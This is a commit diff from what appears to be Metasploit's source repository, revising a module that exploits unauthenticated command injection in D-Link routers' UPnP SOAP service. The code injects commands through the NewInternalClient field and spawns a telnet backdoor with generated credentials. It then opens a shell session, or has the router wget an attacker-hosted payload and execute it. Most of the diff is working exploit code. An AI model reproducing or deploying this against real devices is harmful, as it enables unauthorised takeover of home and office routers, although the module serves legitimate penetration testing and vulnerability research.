Skip to content

Commit 9133dba

Browse files
author
m-1-k-3
committed
some feedback included and some playing
1 parent 49c7091 commit 9133dba

File tree

1 file changed

+37
-31
lines changed

1 file changed

+37
-31
lines changed

modules/exploits/linux/http/dlink_upnp_exec_noauth.rb

Lines changed: 37 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
1414
include Msf::Exploit::Remote::HttpServer
1515
include Msf::Exploit::EXE
1616
include Msf::Exploit::FileDropper
17+
include Msf::Auxiliary::CommandShell
1718

1819
def initialize(info = {})
1920
super(update_info(info,
@@ -27,7 +28,8 @@ def initialize(info = {})
2728
a blind OS command injection vulnerability, there is no output for the executed
2829
command when using the cmd generic payload. A ping command against a controlled
2930
system could be used for testing purposes. This module has been tested successfully
30-
on DIR-300, DIR-600, DIR-645, DIR-845, DIR-865 and DAP1522.
31+
on DIR-300, DIR-600, DIR-645, DIR-845, DIR-865.
32+
It looks like that there are some more D-Link devices affected.
3133
},
3234
'Author' =>
3335
[
@@ -84,7 +86,7 @@ def initialize(info = {})
8486
end
8587

8688

87-
def request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription)
89+
def request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
8890

8991
uri = '/soap.cgi'
9092
data_uri = "?service=WANIPConn1"
@@ -96,25 +98,25 @@ def request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription)
9698
if type == "add"
9799
vprint_status("#{rhost}:#{rport} - adding portmapping")
98100

99-
sOAPAction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
101+
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
100102

101103
data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
102-
data_cmd << "<NewPortMappingDescription>#{newPortMappingDescription}</NewPortMappingDescription>"
104+
data_cmd << "<NewPortMappingDescription>#{new_portmapping_description}</NewPortMappingDescription>"
103105
data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
104106
data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
105107
data_cmd << "<NewEnabled>1</NewEnabled>"
106-
data_cmd << "<NewExternalPort>#{newExternalPort}</NewExternalPort>"
108+
data_cmd << "<NewExternalPort>#{new_external_port}</NewExternalPort>"
107109
data_cmd << "<NewRemoteHost></NewRemoteHost>"
108110
data_cmd << "<NewProtocol>TCP</NewProtocol>"
109-
data_cmd << "<NewInternalPort>#{newInternalPort}</NewInternalPort>"
111+
data_cmd << "<NewInternalPort>#{new_internal_port}</NewInternalPort>"
110112
data_cmd << "</m:AddPortMapping>"
111113
else
112114
#we should clean it up ... otherwise we are not able to exploit it multiple times
113115
vprint_status("#{rhost}:#{rport} - deleting portmapping")
114-
sOAPAction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
116+
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
115117

116118
data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
117-
data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{newExternalPort}</NewExternalPort><NewRemoteHost></NewRemoteHost>"
119+
data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>"
118120
data_cmd << "</m:DeletePortMapping>"
119121
end
120122

@@ -124,9 +126,12 @@ def request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription)
124126
begin
125127
res = send_request_raw({
126128
'uri' => uri << data_uri,
129+
#'vars_get' => {
130+
# 'service' => 'WANIPConn1'
131+
#},
127132
'method' => 'POST',
128133
'headers' => {
129-
'SOAPAction' => sOAPAction,
134+
'SOAPAction' => soapaction,
130135
'Content-Type' => "text/xml"
131136
},
132137
'data' => data_cmd
@@ -141,23 +146,23 @@ def request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription)
141146
def exploit
142147
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
143148

144-
newPortMappingDescription = rand_text_alpha(8)
145-
newExternalPort = rand(65535)
146-
newInternalPort = rand(65535)
149+
new_portmapping_description = rand_text_alpha(8)
150+
new_external_port = rand(65535)
151+
new_internal_port = rand(65535)
147152

148153
if target.name =~ /CMD/
149154
if not (datastore['CMD'])
150155
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
151156
end
152157
cmd = payload.encoded
153158
type = "add"
154-
res = request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription)
159+
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
155160
if (!res or res.code != 200)
156161
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
157162
end
158163
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
159164
type = "delete"
160-
res = request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription)
165+
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
161166
if (!res or res.code != 200)
162167
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
163168
end
@@ -175,26 +180,25 @@ def exploit
175180

176181
cmd = "telnetd -p #{telnetport} -l \"/usr/sbin/login\" -u #{user}:#{passw}"
177182
type = "add"
178-
res = request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription)
183+
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
179184
if (!res or res.code != 200)
180185
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
181186
end
182187
type = "delete"
183-
res = request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription)
188+
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
184189
if (!res or res.code != 200)
185190
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
186191
end
192+
187193
begin
188-
telnet_sock = nil
189-
telnet_sock = TCPSocket.open(rhost,telnetport)
190-
if telnet_sock
194+
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
195+
196+
if sock
191197
print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
192198
else
193199
print_error("#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
194200
end
195-
telnet_sock.close
196201

197-
#modules/auxiliary/scanner/telnet/telnet_login.rb
198202
print_status "Attempting to start a Telnet session #{rhost}:#{telnetport} with #{user}:#{passw}"
199203
auth_info = {
200204
:host => rhost,
@@ -206,15 +210,17 @@ def exploit
206210
:active => true
207211
}
208212
report_auth_info(auth_info)
213+
merge_me = {
214+
'USERPASS_FILE' => nil,
215+
'USER_FILE' => nil,
216+
'PASS_FILE' => nil,
217+
'USERNAME' => user,
218+
'PASSWORD' => passw
219+
}
209220
# NOT WORKING
210-
#merge_me = {
211-
# 'USERPASS_FILE' => nil,
212-
# 'USER_FILE' => nil,
213-
# 'PASS_FILE' => nil,
214-
# 'USERNAME' => user,
215-
# 'PASSWORD' => passw
216-
#}
217-
#start_session(self, "TELNET #{user}:#{passw} (#{rhost}:#{telnetport})", merge_me, true)
221+
conn = Net::SSH::CommandStream.new(sock, '/bin/sh', true)
222+
#puts conn.methods.to_s
223+
start_session(self, "TELNET #{user}:#{passw} (#{rhost}:#{telnetport})", merge_me, false, conn.lsock)
218224
rescue
219225
print_error("#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
220226
end
@@ -269,7 +275,7 @@ def exploit
269275

270276
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}"
271277
type = "add"
272-
res = request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription)
278+
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
273279
if (!res or res.code != 200)
274280
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
275281
end
@@ -285,7 +291,7 @@ def exploit
285291
register_file_for_cleanup("/tmp/#{filename}")
286292

287293
type = "delete"
288-
res = request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription)
294+
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
289295
if (!res or res.code != 200)
290296
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
291297
end

0 commit comments

Comments
 (0)